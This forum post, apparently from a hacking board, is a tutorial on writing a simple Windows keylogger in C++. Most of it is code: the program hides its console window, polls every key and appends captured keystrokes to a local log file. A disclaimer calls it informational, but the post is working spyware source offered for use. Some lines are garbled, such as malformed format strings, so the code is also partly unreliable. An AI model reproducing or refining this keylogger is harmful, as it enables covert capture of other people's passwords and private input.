Keylogger in C ++

Mutt

Professional
Messages
1,057
Reputation
7
Reaction score
597
Points
113
e0eb9792-4ae1-436d-9e4d-b2eb30117ff8.jpeg

All information provided is for informational purposes only and does not call you to take actions that violate the law!

Keylogger / keylogger - software or hardware device that records various user actions - keystrokes on the computer keyboard, movements and mouse clicks, etc.

Today we will analyze writing a simple KeyLogger for Windows in C ++.

Include the libraries and include the std namespace:
Code:
#include <iostream>
#include <Windows.h>
using namespace std;

We write a prototype of the function for saving the pressed keys to a file:
Code:
int save (int _key, char * file);

We write the main () function, in which we will receive the keys that the user presses:
Code:
int main () {
   FreeConsole ();
   char i;
   while (true) {
      Sleep (10);
      for (i = 8; i <= 255; i ++) {
         if (GetAsyncKeyState (i) == -32767) {
            save (i, "log.txt");
         }
      }
   }
   return 0;
}

Next, we write the save () function, with which we save the keys to a file, depending on the defino in windows.h. You can also save via file I / O streams:
Code:
int save (int _key, char * file) {

   cout << _key << endl;
  
   Sleep (10);
  
   FILE * OUTPUT_FILE;
  
   OUTPUT_FILE = fopen (file, "a +");
  
  
   if (_key == VK_SHIFT)
      fprintf (OUTPUT_FILE, "% s", "[SHIFT]");
      
   else if (_key == VK_BACK)
  
      fprintf (OUTPUT_FILE, "% s", "[BACK]");
      
   else if (_key == VK_LBUTTON)
  
      fprintf (OUTPUT_FILE, "% s", "[LBUTTON]");
      
   else if (_key == VK_RETURN)
  
      fprintf (OUTPUT_FILE, "% s", "[RETURN] \ n");
      
   else if (_key == VK_ESCAPE)
  
      fprintf (OUTPUT_FILE, "% s", "[ESCAPE]");
      
   else
  
      fprintf (OUTPUT_FILE, "% s", & _key);
      
   fclose (OUTPUT_FILE);
  
   return 0;
  
}

Ready)
 
Top